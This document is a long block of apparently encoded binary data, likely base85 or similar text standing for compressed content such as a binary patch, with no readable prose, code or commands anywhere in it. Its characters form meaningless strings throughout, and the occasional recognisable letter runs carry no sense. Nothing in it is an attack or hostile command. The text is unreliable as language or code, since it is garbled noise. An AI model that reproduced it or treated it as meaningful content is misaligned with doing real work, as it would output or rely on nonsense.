z-r?fptnN#$+~I1-X_f8&OM=rJFiOyBHMt6hD^Ke(f%^+z4BXE(F& ztRBDuD;=(zoYe!#RbA!n^*5Ybenop9CtnBiSv`ncwZpZNvwASO10AlJoYfk`B~^_B zHW0LW2n(F&a4~XL4<#3KxGHj14aPjb`$2GNa#myH8XT^joYf=AEpoUNxYOmFA`#K~1QQO}#B{4ik!y6g zI614e(CaDp}ov0w`VrnI<<~mi^Fv@Jxx89 z+!YSj!Sq(@afZV)UJlqy!0PcVaFxR)$XPvsT&u&y$yxm^xf?a-Yl|_0Rn!v+wmAh> zFx~1&40raw|W}6^$yoU&g$vp(hk=^4r<0ZXAs=rfH8tr8_0DzTopO13&?GBxN>q< z7us=7#sL*Ut7o#nO%B()tJ!i^7m@3BxGcFe^>^gnN;+UW0jrA%W*x4TTr>47a$6j( zf$3Hg;A9r3hg^UAuOn#nY=WOU1y+-@dJeg54p%|W>bc~;$>owNLeOd>!5?x#)i;Yr z3HA5n0;$}ASeEHl|3I$D;kq=3_3vPYKLV5qt&jt@F};P_L~fYFC751EJ&)WNhpT3K zg{W-*^9fFHzzD&&Pv4xH_g+Yej!>JwRFGs~xa{U@7$m7I>}01)1Kvli5Nyf|H}-W{1l%y^DI2aMB;$ z?SP#G+Nd|Pzz&B?F};a;3%N%eF2VE$Y8$yH!Rhe`>Y)GP1nQ`_5`4iaFvj#6>TTpU zIb1c^S3u%+#N?&RyPFuT<1J>X>5e&cW%a#mN9Q!8@Mm0jel-fOsgHE4x* zIVy788dhYuld+u{t=>m&ti!dEvwAOZh|pC%1Biw@}Le zJMHV8e67r9^>K2yIa~`ltN$RkdWH9>l%IwzBZIY0z6R#A`UJU$9j=a?)hEfVU*VN> z;Q)Jz_7hIND(17gf!s3=S3%C|)8t-oxKeUfpD`SM*~kHd1g$>H0{`uBebd=Ms9ogV zaJU|(TYZk)yPA_;o`2m0tv*k1i&J2iT_E)ZavwQdC)2HNB=?!0ljXM)wE9niU;06C zt>mn}NUqP}TF6=b7r7rDt_hqz%Sc2z^$fwhmARc`1JkX(M6TH3>d0ArnOxZ6YREy& zRqrbVhdE#sL93g{jdr*Sa#sIMZk)rFlC%1%T=mM)RqlX6f>vK+fjc-{-wteq)NXP! z9Il7yR$nK#YtjL`Z9&vG2v#~=7t^i2Np4Sv>m+COEpq#k>u>+<1g*YJ@BpX4R&rL~ zAy?yY&E%}UOYZPo4lj}rw3;P2KNnOna#r6XcZ|bTk+Zs)+zAd>t~so~i753Sf+ss* zkOf-ZLhf{j>z!uWg4OrQo#}Ahd9WF)A>PO&` z()!&-*i5j2`Y}McI$q`!SjY5g>L=i2(AVN{6-*COw~|}FGCWatJjkQ}`lfOdQa?49 zO<9_osGpe&q*lHokf!@{6e~ZVbfvTScBZGOz2vTQxaR+dxc32+ZL0hK_qq4FcieLi zyZmWHj6x?ac0xncB-M~=l4=sQA4x<0?24SHXf~lC)yU;c5}TBvOWU8vokUF`Q(cUB z7)6Fur&4WF9U|ZNXMNtEbFX>2kLsu2bL->1UTb~!-fQo@*4k_DwbmT&Z;F18(C?xV zzfjXLctFQT;V7NdZ;UtwOwUvQNWT>$ejd|jUaY7882!F8;@4+-$0>@=pXhk=h+{&> z2KCSMyKTfTVtSSO7y8{j;#Xq&By|>k-t;d9OV)dyZ&90T-XG^JBlf6IOrLNMUad(j z>R;74Cf2A=YIKEIq(0@|mg}S(^>57c{UdqK3Ywt-^=bP3YQ(S0^fpyWuzTYe@oO;s z;E)0Ni=9&1|1#oOVtSrBkA6>#_<2kpZl)QXPrs+&XS1?4xs!=2scXSWKFxV&(rLPo z-&rBF_< z+R$y+<#whoq~G~xPA|S2+igs~cx1aKw=>;@e&0BAdVg$Je-U}b$aWF8Gu@Pa-x=`> z>1Vnb{caxdtI*H1pni4lwh_k?9Zfgq4(}fE3+QM1V))6ezJJ88KtI!$&~L{1NulIF zpN^(mz)@O}M@Dw&(a&^C_(=!hFC%{0CcM+st?2jU>V9(k9vu?uOL^e2WzTGvrkGx# zPSS7Dh+m260rh3{n;7xSBV8*69k-_AdLxe6#(E|L>NfP-XvDA2^e%NN{Wcr%>oC2& z@!BtSEie9Jxx3U`jySgH*xGpdu7-pXsaU z_X+qtqXiG?Xu2C6PaN4{KtI#n>38agpGQB_SJSV#%5O8AKgQMbJY(u>=s3M>de@(! zke0~jt=iCS*QCGcYw7pZ5x*M!O!uJQ@)5rh{Y+n{e)GMnmQDZgeq>}%Zg}m;hS>}B z1WaE~zweIt_2_5%2Kx0z{Mz(0eWUtqG#lxpGQB_H_`96BYyo2^#Yjgqki+fM{x^(j*PsS8$Ld=VZsef-$Fm{tY@~=4f>hB zm41sx{3809R@ATVtux|SrDH&S8yuyVu)&C5f$2HwzVv(1h~Ml6dIbj5x6^M+=O^`? z|57@{)cxqV?Z^(ROfOL1LBE|w{5+=j*VhcZlYYCe?zcV;ej^>OqrPkUgh!XWpq>(2 z)GD@@r~d0#-yYmxdPIFU{P2J8EhByvrWdLEGe2(|@q3SKEMvf>TlH2C?oyq+TQz$^ zwf0xll<6MRr>H$@o_m_BnJ ze`7x2j;homH>lBZcma3VSB)=LP3e~-R}zgMFur#KnYV2Ag?bB0>#Ek)t!rS0J5KG4 zsos}#2Tf+AeTDKYb@B=23UzWF-Cu{7xUjMEfTh22z507+s|I!EyvQ7Sy!1V4e5X2= zc`2K`MY$Gtz>LJy7EdH#dX0sxN$v5#$v1TSdd7$zBdW`}V`|3unB1m%ywpP!B6-)( zF}`uR@+8w!a`6(4PkEvh-EZBSR;USek{N7p!$Mnk6j9667PZYQ+9g+cC8oHa z(jB^e;u!TWJsx^5g;!)Mla0*4EM=+@^ls1FDnM_Rm@Wb1c0Po7mY4)v?AM&wN+8 z`JifbOm`ep%kz{YYROZsQJd5bwax8X^H~48+|Zw|8xHB1qhmnrQ)j6KZZ|_Ma{B?V zWR)kD^L4+ipXdn`E>oSXKdpfQ+wL;2K>y1cKg&y*=PgKCjRw?!er;-*JDy@0DR6(4 z^)v&M)cEJR|N4OUu)|9m+@lE?!!tgHLVflHQ9#LD=F10`%vg!6N)$JyEoY0*B>R*Xx zP&iK=d|uj^rM7t=56HHBk{Qfcio3kzGY_d>XMN3Bo?7KYr$%m4OQKT$13Jtw#{)K* zKF_>J4XF+4kR6pKwL{I>Eo27EyafTTbi_i~K?CLLe_=z-ahV!XTh!_Xnm$ABQvDZb ze9ZJ&YK|wASXXz&3S?)ue4_V%3J6k(+Gevv2FYAFNbOsopIt6Rf_II&E%7_vjrntkr9hg_5@ZXw&E~{CK>hVmPH}V8-P@TO= zwZr%lwa@t2De7O95ryyT1~odi8J{QT$N_c8dp~4)c!_Rb;KM5DDz~X!#^=Z_VX6OB zM#R*Jj(zehwaoa0XB@FXYVlI{7$36mHK<*t7s)f^4$7XZ|C8J>y`EQqg{ebrQis(3 zlRVR>R9n#+kfNiBb$&;KqjeUYWyr_L}wB)7;BHD!E*8va5vRJ=-c z_8Qe_h3X7-c&&1IMO_1aN3~0bA*Iba5=)Zu?=dWTx0 z2CSwz`ZXC}q7JyfBFjRkTK8snz!tS@8KC0~dZ}(O@oLpcYDUfT013HAouXE#DKijp z|7E9A|DM(z*X~m-@l|Q^tIAVPs5ZZ@T44h-MNO!EHnFL_hO9O4_8!m!^qHaI*OaS2SDj+|kXN{UPhAsc@8O2jBF{9rSL4e+QSDL-)G4OV zkkhl&FJhr>eNnkZj$6uYYPn8_h&s!J0=Z9~Wg+UEt2@Z?Qs-G%+fQnIo-Zy#b~5|) zEC08qN7NRz-eq8h>ffb~MQVeED`x4P<$-)Qwbgsn-~XO!k5?r9sq*j+)sWobrLUar z;!*yeP=|6~wQ-he%3IK4?HKR?Db-`OE3&s7^3|(BP3={T>MhVt=One_6vv-pL_+OR zGirV<_ExD8GZeAV)fnHTcBn&YZlP`;P^;8fRO)}55q;_`wXjGxEK?(Di`u2mQ2m_x zr@Unu-*kFx$QtaRR9QQ6e_{O}@LpDash8e=TyM_3f znC@@*XVuc5S^sB|6KUf+Oo+*SYMWYPdW#thKZOdWR9YM>S%W+NXM%#!pg19-v_vpjMbZMNOy! zrhC8TeyBZ7uX_=57}%NFnNVAHMVQh4?{r61Q)V?J+&0=9!@m(`R|WCU0GioU!yzQG3)xRO)|;JE~Fh+(FDMQX7~A6>c|0EwV+N;)lqD+M|X! zzW+C@>7)**9vvsC6{^Rs*euV?zg#mIQtgYVeF?QMriG`}&pvq8>bGiyec>GaU})d@ zw3dd|E)W0yeP9@UZ?`_7^#$j;Y-j12jSg5?yJ4^A zt94NH`(Nklx}h~7_LbXuEY?0)dtf6O)}Yux!|3?I=vQzV@swM->T5fn|Mr#JzWtW@ zX~o_JN8j!2UC!Qs?9FGiTW-DP(U#I$$U^-}&5?}7xcbdr@3RfT*wBlOo?9FL&yJ$k zpPOOyHIJg(n9$!D`;il_d(S$|&WF!)H|C=)sSf#|{yo=YKL6Bw0IC1am=FMduIB^T zpwr)*7vSo@O$?YDmEz;m`txfVjIwTbZCVSj_4`K$rEI2z4Nk2#7^U^!Mx&l>FzUIV zkYM%yTs;HKNO0Bg*(M~|XxQAugfHrLqeHIGIyzRrUpHLC@YvkwShuf!HZ{XW$!sQs z&3IVTjEK?EG@BVw|NlCyX0Kp2dS;_#YZ@i9S3QoFVL1ysor8>n8Y(*D1Vdi}dcyG94OWYEgh|9^VaD%D%{91L1%{r_i2 zt)9Ct5sFyP1*Q|eR)atn#w5tD0qgHrG{i}mkBZE~~!?RMaz&|ot zB|W5nb+GF14@#l_V-(7@`OnoL)IUD>gyYKd|Nm_8X$9;5|JC3V#-6nP{~rxLVeE57 zj7m3yQtJPjN2m0Ro~yyBzc(o5p8x-2REoXXe|Au6bP(#<2A?qYr1gJIgHQkHAk)aC z(tl!3sXhPOda2hmsnmvKZE~s25na>hmQ6b4DA)fO+wz;TjCQ$iKOB_O!7kLle|5C$e;L(s2U^o0)-wjDr2emY zbV_sl?;M{e#DRr>!{C(G|22(H{rd-}SpU~BI`!`#oT~q?qf`I>!KwQH zIy!~I`EMSas(UgDCG~Q25b7Dzr<_Ul1#Jd|eW0{kW-}t1)2#p2+a0~<)`_&vqupEk{%1WNn-OInv8kg)mvHnL%J!ELgd4Q$w?G#mM_fs48g zk=Vimn^0s!DK?_9rjZdFg0T@0`vz>?c$-^dPfPoz%(*6Y&&FzPWYfmybbdY-9&*sx z290bm$;R_+fWcNsSl7$mD{N(zjS<-}yc>R(-|(>Ucxwr5_p;^=6=|m51Zq$rl}ZfnsT8t9-jG3arJ*q zGaE+Rew#dEkL4jJEZ9s3n{Z%LGh&;9LA9wHHd6u<8MOYF+0n4+GIP^o7;m##e9j3e zQf-=z&5{|N4Kq4<<$q36Vg2W96mN8r$eQMY*qjfWMq{&QZ0bdok9C`r(k9!i8k=QP zsPpM(U%~Ay*q(;=bhN1%HqM8sQ|@77FRRvvwD*6TYGo6bY$B6QV6q8Lb(^^~I-_aT z6e&HB&5W|ns7NWNKqT zwl>rjrP}<#(UA~a#%GIDpV_ZK{j)`**1@oMJR6iAoxf)?dO<+9N+8!5HPE%x#n*E#FOmQdMJ zt7lueWDAvSOvjd9J=-9bE#0!ETyADb9ttJiE~ z)7Ey|$0S=3Y3qS(J)jL_+PXhm%p$8?+xNMOY(T-5TG`SlTV`X+YHW>{ z4J6o-D_adSvDp+aoAM=d!Cd{fIa+`31EE|x`#xxs&+XfSYwj|3ImD!@R(cw8;gf_aStZu8-Y;l<_K69(naPQ| zO;oh`{clgLIVnPGCMtG6}>%;tpIj7VG0yQX=9 zHfPLcyV;Bf8)?;LeW-u7FwoZh*+N2FIB4tpM%Vw@x*t06_KM$E^Vo%t(3GCl(y8;M#*gnr!DEUrJAyo)75`l z+i6QNN7iV1wuWM8=SJ=_pqP!c*dX; z%AEZ?N8Ns}!{&b4%A~o4M=dR!wjilIGB#w(>upN5&Hb|BJNvq3KTt3?mrTEcq5sb* zS2k1Ge&xa@k$d}@nL zZBeN$GPNJ0u<5im&DQ32+jLu-hC4UimQ%6qv!0DJy2-3k|LvEJZ0@H0!jb(Fl1;O* zUo^5QoA%2__6tb1cHDl*D9@SI_Jc+>vaKzbFQ%^k+ow|dL~5T_M<YSZsKPF+L)i!Q#!|wLWC-yTPwj^V2X$2P|*jTd7sKigKxTmPiFSOr&usNZ1 zThVAM7;R#){ho)d+q2*8u!RSvnAcu`RWjTla@q?9xfK;ddKm50-1Z4aeIsy$#3fG=J1To9A!q0OscPkE{zA zT@7pVd~N!!{Y;m4wI0|OD%%2NTaf&Wh00R@M^`f2l4)C7ZA+Cs(4#IZxfc*v>4r1yW8q`TkUSE-)(g~ zR?TbuA6;&5%j<3Vye+G@<@dH6-&V!jdj8SX?Y0`;7P;Fh_*JXpS^sT>!&blR;&5Dv z>-36@&JVIh>pov9M^?3aHqFMC?b^(0n*nWWNLzJ2)$E7I?41}PnrkqzV*_{HpB^H|MLlYa4tzx;6T>i&KD z*XUP$rhnc2Os$-?{qv{v0A)Isp1Fbh_1CBI&-{n<59qga#9w~ZarOPj^e;F+WYs@> z`k=ig-mph_q+a6SGn#?!sjAr-s>3Grbk(?_TA^QxKRUJ7#HM=|4%fb;9Mldhx2bx( z?!R=4Zs*^on)X#ow{w3``6c#ErfYjo6c#jci|2lreY(5%1b+5=@nTmd`a92a>QkG$ zDhJfUE0w)h@IX6}dFf(m{|y?SQVW^-C%;#vo0lEt{5CP3JG)d9yvYq0Pxl{MdxPob zyv4c2+2Oj|{D#w~y=h|89gK4uYW7c<+m8mU)R^Dw2Gc)TeY=?rbh}TDZ0CNM9&zCj zdc45~(_8N|vFT#t-UieA?lZC7deIiTeLAat!Q=B>ZkIHlX2g^8^ujOb!c}g;77P5f z=4+@vTz9^^+E_2*G#FP+OxIV=s9tyBq~tVPs)zOZ$^+w)a@ROh?ig2;6XnBkf*R2< zhoN$094S|g6XlX|svH={$_3-5vcHsfvGA6O-21a_H2a6(ok31#Nd6$XPd=2~As9KK1(`&|=rk9O9O%Ie&t123iHwRxi7w~@c--^mV zyS?TY*VAQhK*s%X+#`RS+$Mj5+#vraIU;|MTp=Gv4#+j-x|e4JZn!((>~@+V+)&3e z9MrlYG4JJEe#+;*)f!k&!odhE?*h&iz*BwUYkm?52Io2JPjl0T$aZ|U?8~e(h zaiTo4Gfya3f&eC!T??mvCTQQ0^JWx_vswnxU3)rs=WpTjb^sH6k*HuHJ%hjy1h( zoGJ&#ea%2&Cu_v_L!;p{^<>X;=b!DU**}FmAb*4xk^4= z89(yO2(%(@gMfSzxj~1GFmmq4Kf-H z#}Tox@kaPZJ<8+bZz&KL>f^n?u8#k3ba@|WbV)j+cK%fVh zG4ARC`o^jHca6Kssc~O9F&^snjXBozDP`R3Oe1RMkm&{$V^1?woMTO&G%jg+-q_dl z+#G9qwkuCC(e#01DQpFe=$S*H+%YaGw~Z^h!`2*Ydc!zWo-&Ss|@Z`{;$Z&z)_&VDx-Gy676)V1)1t3zMG!B*X#(m}4-L1eV4~=8xzHzGDF>Wd+?P`+Lk?Psd&3(n7~=<7|=RhH~Hy&zw$2e0?j6G)9*jJ8}rOD7M5Sl|l9m>Xm za$p=P7mOq2oN=t2m8`@m4~$dgp5r&;_yx^CY7T*N%Xp|8#Kv9ansHybT4D)|4nzqo zF%>U6?uJd0QQ{ou$tY2db7Yh#$Fr}|?BgNqxKBm_a@--KMmuhiQR0Q`UV{-R^3Gw3 zj3Vy1Mn(~LTp^>xIxdmXlhFn`o@I?k8wh@f=glwzjhu7nkv+H|F&^g(_6+-&TZeA zWA&dRqf4m~p*ds=-3ArortYw4Tv7jmajfY%<3tZQvky-%3Whm zGu$@zc>=~mJ%K4h^u(igE|+ z#x1;zm)snh%1z^dIW{gRhsM5g**H-y8heY~3FeJUngMU`#X4@`b@dFgy_n;sp25I4 zR_+-m%BgXxoEXQvb~ zU~&GFp21 zw9xr`#uer4?c6?8?i)wS9pk?4FCpWP1gJyP96WWHn&X^1V9mIx{#D~dxon&&2gU{6 zU%@y~_LXr%GL4wsmuJvb9?r4uuxH#?PK}4^-DB-f^2hO6Sre@(0Nw8K>mZ%Vbnq#{v0J za*m8TA?f(D#_!M*M5S;WbjYa1j&1k=mBewvbTlK5myuCv95=|QGmaxN>Wt$G8FdDX zY!?}UO5+?R$*44reR53p$Y|$Wdd5dLo(ztMWb_pr_sDosI8MoU5)`~Qcv#NQ2sHi9 zq5KoQWoY>w$4o~%=eR~jOYOM2pVsOZmKJW~;a}n1EHV}4+`IW;>mD_cd&w-T7#>W{ zdq_qBaNMox-gYf5+*A<*qd2+r3K_-8aZ!)9VLi+FlH1au%&oV!<4I#***7jI&(`Q4C=ZQG%01(X za%vnZx5#xbUE&THn?qN*X53e<7!Q?;#!cN}!8lRQ8K=rKA7qBR$~|Ri(KMoM4nyUJ zaWLUB7#VxYW#df!3&w$F&@=WHyX}XEFay4F*Rix{1&wH$L!cZQmy`qJirzBcI8@F) zV7EkhVC-v#JH{nVPlV<8UVmI~fjLC#5E{pNMrGrsa$uY&`^FW`@XW!?P^jE9E-iG& zOThY(rJ@m2<`61ZjU(lfajZOP+|&$v#*rSd|9)nmss4#^tm)DF?IVk)J1Ch$QyqL` zU(<&Nafb;HV4Nza#t9E-oa*)sJF;rP+*3P`y)aY?ytTv2Wr$C}~TI8ly_y+y9jg~q<)x>vD?f;yCp1LeRt(gWsAJ3?w zoEjIj+9k%JrZd-RwbceBVq)lyP z94m(h@CRfP~a*>RVmX@eVMxgKLc918ZOwN%{ zA!qC>A@9z=PeyOXafgh)uH%G^zOCaX8C_BTT~eZ^7!lKBjwb%w8(AWGLDrS#!clZ<3PDaMr*1O zRdWcH%f?MTV9_{Ho-|ICePd6zpZyR|sH^Eir*15hC7}lqr5xz$q{*$#RWCor4Puc;f{M`^v)f3$teHA z2YU%4Pyw7nlZ^7~*xs#BAsoj{N0Z?=B%^{jE|bxOI1Ub*E8i1RfU2M5^{y;*Trv)o zCygWJysUa&|oT=PS<`;|ECOcms0XYidN-91`W!xU1YU#$Pm(9W;zn<;WPn za3JZS@lew%#+hm3nP#A1+*E(hI98td1WrJX?|Hg|zC;N6${piS zxosRMw~Qm@*tnuxGfwn?72{O71m>8lZZK&MU3Kt{`kfmPjal>F-|puiE&fYo5tRRX4u$Qj*LsXeQ2EM_T{=oq#6+z_jQB3ae=qMxTKs- zF~eQmerViR?iml2Q{zmzo>&Baug6_-V_!KkE+|)x1Ld-DNx5iTQ7#yV$~oi6aox*~ zwM(uJ1LLN0*Ems5jZ@{sIMyrDG;S)##$EM~jQhfQFK6>MbZ4ds>JBV_&&o zTv31DIM8&@7=L)k6}pe{gbQG)|3izYs6*d4RPGuNl~dzT511H7n%*={cm<3LER@E< z#Dr^qFrcIjPpmr#&7rAWHcpg_#;G2lU_8_-m@`h*KRd<>sq)aczgSCQ{}?{}ODEys z-(~XmJL_j6m9olbk2VX z@^$1q`3Gbh*Zm=RhQp>mBHOqwUW(oRa@@Xt8Y8kuFUj>}n@;i>@_^~5le^@b$Zhgx z$xZUN$y4Odk!#9zZ>8;^q8a!+xxx)@A=|+6tz;WmzKv|-!cB6K+kb~#AfG|bImY$> zg6-fa&A^%DK6x2AC7(rZlDp)Hd^R~G_sKR6d^@=;={UYO&4?m5XxRqjFOqZQbIAQ8 zHN)Q}cgSBNx5?*{o8&K(Be3g|p2vtX9nL2g$#;mMe5A z`FrH#2zE(tU__G+7m*|KSINOWI&Snea+&EDlPAeHl6`WU?2#`aXNQl?y%~<`#I-dF)kh+*<3zb;>?v1_13jUlGKyhWGmtljzVhse%)n52U|iB2c8xPlZyS4y+zB;}edQ_R zf^yZdRD(cwSTu(~9rDH{WzV>xoSnc7hROruNV#VmD|d`N-cn&XJ|<sS#Mt8??pN!s#;|>|U4fX%E)=_kSgfXdu z4(R_lhXxrvM8^>sJw(SF8fMZjsSrbR3h>L3CUrqrc@iJDiQkaN%MpN6{&~!6oI;xT0J(jutupz&KRS z8+*z*V_$jpWbVJBJS5{!f$IVK<`64)jho7;aiBYB8JCnB#)wKPv!M%D%XsM%2ngOa@n}D&~0Bb4wVDrNI7pDE9c1a`OobjYs?i8 z#{=U;(|g9DW}t1HYI@T+()8H4tLc$(UpZ7pBbV}w%%Q6s7!P%Wf^nwo8++>S8T-oF zr+GpJ<)Lw)+;jXQT>Fwnq~=gjZhe{sqHrdfteB~|;qLlGWHd>RLoy10;|duCz_Gn^ zq6u;wF#S++fqWR*Cx1v8*NG8mQrr$Q)<4T(PB7mlhI;0ZjsT3I<|fc z+F-{q)1`ExKlsy!)*e5sxiBY?J8iD4IG(k_Rnhd!I8h!Lhsr(UNV#JiE4NSOl~0#V zqHN9+HQ7#&X%9F;ia{e?{%}Q>e?7#d4 zo^7IBG|tv`=>_A`LdU*wSN&(t;P!pxp>e9*Gaf3ZWK68ph{PNs<)*Q(JY`%`4vm}2 z72|Y~%V5#Ct6VTnls#n>xr(0AOp|92>kbFTo^sbX(;c*phq`^!I8=^}1ND!LOUhNp z(*MbHgR(jJ>JS)5n(iCN%CnzmhMUSm<4Cvf8OO@0aY0Y0B`n8B2hd%z*c_U=LCrYP z15}NNnqD?eHN9xuRh~4isK0L9p=STJPo-$murD;pz63r;JMrU3$&f*Yt{Uy2z!Mj4SFtX&fs1#*y;u7xj4Zox$y3 z$Ov>v9ruh2dcclxqUmkpu4bTR9H@V6Tv85=E6OEh)Rs^qCe0yI_Kj2KxWy~f)B_HT z`^p{TuKKr(`^rx1)YeRQP&S859RlM-(|u!4Ih$sNeC57zK{++{^n_Z*fu=Wv zU29R&h$(Yu>IR{4qFgqPl>_5cId42v&KXy9|FdT^!=ds3tk1bfBYNf#E4Ph@%FVM` z1%mVOoSS0m2l(@pH8QG%D?w#4s(|Bwj4I;T=6s_~bDU>7nk2^_8BLDk;aQq}v>?Lx zi3diY32_egns|~i)6wd?^n{EDrQ?{42d(3fj5g14nT$5haX>~J3C5kvGvZ`Acw{`u z-3Hk*%`qMejt68scpdl1cuF|#kkMv3PRMxdIJQRR6k#bj4Labl;T)`$!GqGVz4)Rl z;y9u|x)P2nWbDgvk&LH?;{q8ETE}>Cb{!$~6c)IWo1;Tahgr7DcyhZ9X2^K3>JG^0 z3ps9+@mO-)Afs#HI3nY@>Daz-K}>k68Iyg4N5kTdo*1G8Ud22)Lc*f`Pj zfpI~(XPoN(uQTrI_Ng-NR;&&!a|n3G#wFz`o6*s)D#MMLa3V_yQ5((#atcGPj7 zj8?{Rhm3|BjP6hC9QPc_PZ$2O_FDDES9m%3JIzz8*lk{0#aiW8G4_QoNUM0EaA6fM z63(sSobb$rbH`g7Soa32A{L87ZxxRVw^#9maB~%}BOI;bb%iUd*cUFY;`N0mS8+j~ zBda1d7l+&`ez9!LMpRgLai;PSe0-Wzub;ZHT8d!K4L zREH(QpKC-0otB^Kt|u?oO@ddbwy55Y$~9`ATHHzF6Vn}(eQJL@rjM!S=BW-}ta)#4 zs$6)&F`iW1psStdy(I1be)^b-qnbOE5T}BL{a-}z^=XfHs zTkH0=zZvp?I?oCcxkH`L_=Mb`S{pY-u2HS6t0=$1D>A_vy#m>%T4U#tvzJZ(@al=} z>iG@zO1D^4EaUc*^i9TF#)t3HXF-Rz-ZCE3Z;EOeKb#y=E#vzs@9gcv1j~4dT%=m7 zT_CS7I=$`8#L_xrW`bv4^8vX>wXCP)glbuDkRz&PJtSACmh~ce?@0zM>v^(IwXA#O zYBeIeX##R@;74c@UOY+rg&bB3ZfuFN6hTxgx>^vSe^Qn7`Wg!b`}K zLDwBvEnPT!rQQWl09WqarWt@>HDYA}9^ zYSqzdP008Pbx-On?|G3tNzGGp=I1hmQfT+s?&S<~YK6_?4hM|4Qa@z8Rm&dJtq^y} zR;$`%EA+|haN=9xqIci6FqQ@&no2|I;`ibAqulsxI1slFg zlS@@q|GlaSIeMRR_dwN*>e0{tpvLD$_80x{`@`R{c$OW`aECo=N}ap)uh$a@kI)RH zM^cZXMyhrlx*t{U9xFP1$3tsBf1QZ?Sb2?$JFt`6Y`T!-wwcbpH<4Q~K&e1^@ zG1@NECfl!;eDeB@k>usJ^$O(Z9b?n^TPK3O+k0tVC#m+BERxIADz!$9sZDBd_w+fp zPQ1Fl3EA>A^Pt|k1$Y4EV5dK1ycXKe+-khgE8u^t(ib4z_o}~A{~W@SzBS%=T=TkPNyp;x?9IPt>Y?TCF37g8uPqOVfNPP z?W*a+Z2FvACN`ZHJ~DmnEfeq6Ud)Q)Z<|=QD1WrN*vXg3W7FrZ$Q7g@tSf)GXu*mD z?w)vT{(HG9vrlQmD?c_F|me;ox!=Fz0^W^AzT)h7S6Jwf>{U4mTRYGrC zfw)`8rnCDda%cZ+BC8MQ=}F+!z1P9+4RxO<5S>ciBG`WSVV>ivgqpQHNJ0(B|1 zs9N{_-4CEL4_KidKt0$go(J}XJDdqeQ;(xIs4Z$jO{v#WyVM?aK+ULfh26h{c!flz zSL8DyPc2Xnh!ts-a6g?^wbO{1sL2tExVCyZsr#S}%0R#ND(C^*8=WxyO>} zkNj%lyzywURgW@{2IgNf?(`mnpKOnNqJM-vjIf7(@~2_FhsM1G zy36zN1vVY`Lg;a@%8$mq7)?H8>80bI53Rs1x@O$zhY{Wf8;E)vdERaaiw3ZB5f;4xb`rv(^YGRYAuKup3la9A zd%`3`73fI}H(!W%s_zl{&=27aV(DMTy$E^$-k;oALN9_ndE2Ov7T$mgnfv!{Z zyp=bNJKbUzoXpq9J<+RR>myv3z&BwF0HO~wLG)3^d%JqxTVQh8MSt@uWDfqKkHhvu zSoCSwo(OxpdERGX;@^b+Vh`MN#AnbKy&ks-;R1Bt8*u+00wCb+0_!6znwHVWM_6>P zy>v$v=#srL__2K4>5_MWB@A5(dlLQube}3dcq3kPv-co#2#Zd__Cz>59lF>YB+|z z>@W?BejHZB{zb2VP1XTj1pW$(5Ek9^2$X(=MR$PhgK&7H=Y0%zFT$c1!a4|xjva;a zfw1Tnuw@8~UIjY|;V$%f5!#r`$DRJ{!}!#Kc+vWw@Shog_Yu##2UdoY=*K>a(u=U@ zmtk8VoIrm8YauK;HHAzgEP4_wM7RmP5B3J9u&h|i$fVS^C*CD;~d+eLRj9rp}j z(RaZ-Y4f2!hDj?qgl_a%?DY9doPGr1GJHgjg%uHwp*MWa^J0WW5BWT*F2bT;fYlEG zBnVs!lgrzMPByi*3ZO^AB)$)Q_ZfQN5c;7n;C`b$kDwbYL-=0QY3OEOgwJ0QhWh8Q zm4qICo`x&ud*0V!3648FANBw9iC&^E^z|3$fh*91FVrVq1l{v1xGKNL!vlIKOfnQf zPh+?V-R~k)&3Q|lzWS?Z^>6^ux5KVOSoAZnHo{HlUtxEyMEmc34I5vqnFyhcHVTh8 zLEm(VW}*Up0OntTLJGaT-;x!AJBB-@twm7X2-(gs|unsfI=8 z)vvbU{wy%KFV!lKjHqA(&XdKK(wguBq&uSdN{cnJOYw~+~iMQ`{nGL5k4ZLmJV zedzM`o` z5bi>sl6c$>?(GZR(rU|2#ZFrCc>i2U{eSu(C4qj{g<;Tti-*9NvW>f;(7mZ ztKNbbdJRk-on7c%Fge%|I{!9}_o0vXQOB`U(Qp13+afG_3#^ZDANt^(ILWJUo1i=2 zg)sJ0x(oIHqj#gkBO!)<2PS7Px?q6&hj`JAU?qeL&_3*Rghk(W56%W*(eq$6gcIof zFxijj7C%ATfOyeeUMeA1*y3hw<(nrgn zNBtJ}3QiGphu@(fAzXsq{RdPtgon`YWhlIV#KE9{cm$Un@fq}lB?_Cd<8g2U!`uX+oeMp{Q&;hKv zV%+H?8;p5Hghd~RO(HBhf5R~^hp-PVzhKNe7~u-^ESMZCc>&(u?;?2lG4Fhsv;hh9 z#Er&W2_Hfqhsg%P3&*_o!!G(UY6SFe4Eq}+(=ge#3mw43zp@E3@FHAl$pmz3nA;Du z47+m$+J6bW8`g!B=n1gp2#bCmb}quAZP@7ur_dW5rH1Pv0vE%i9Eko3b}kMen!!#-Sai`= z>La=btc!Tjx583{E6^rv={He6pjW~22#ekhTY#|W?k^ql9)`c@UN6P{zY`EkBuqL5 z8T6NvdY>}rmtV%SfxdBT+%q(*G4#8z2s;%Gwn6nnSoBa>8DY`$U`2!z=mkqr4iHYE zzlNb$|p;gjEq1y%JVNxC`Ct<$Boz=moGTiHF_=+w=Qq z&!O{oKt>TSx)$stgahbRFzLv2p%1{Muli?wB^WAy1pnrmizxV1f z?;Ef(_L)MTfXN%N=pC=Y{jVY6j@RH!VEZAQLGLW-jxy-PYxQ70bX$f4=$jd?K#yQJ zg8mUE{d|89_`@Wl0rbrbSD+EY%{l^?5mM+a4ELeGV>p9OypEZG1`Lbd50iU5g#HmG zEu-j;d!p*%WJGs{9fxoU`c9Z+D1^?y>MM~Tf&JcqdW^8>L9hhj2zuWe@eDwC2wk^~ z9sLlWUZ6X{yz9oDmJrV1Bl1pOn!-hW`$z(F_(`1l9a$GlwtQgBMp55o@l4!(9mFNT#77TxasxUUF{?hVT! zEc#A{MGt_@Vy7W=Icz0-L^nDZ&liM6r(p@gqUXYzb$|q}fgOyn=yiwSY!DXxK1|~K z(5*g*>en52x(&jcAS`+wEQhe@)v#Iki+&gOkZcRxs>W@h+rVnFEwuh+{AWLa=vA;i z5f<&j0)$29ABr6#ELwmi2#ekTI|<=Fbfd$x0E$*&L&S?73tNe>XdQMP!ZGv?7z!!= zE(ZcTen?Af3A)MQ`hY1wPlQQ>BYG2T!FO@Lq3=8b1rR$5p+ADj?JFFK%L#L}2|5{R z$q%4s!In!K1HB$5Z$+XX{|N5?;n?ZNKZ4fmqsTeJqKl5ky+>HohZPYPy$_a0cnF<7 zM$g#$7!E3iDkqvSEc#c5o5$iRz{IByT{5NNtd2nS<7oA;(-6A+6G&JW{Wa+CkHgit 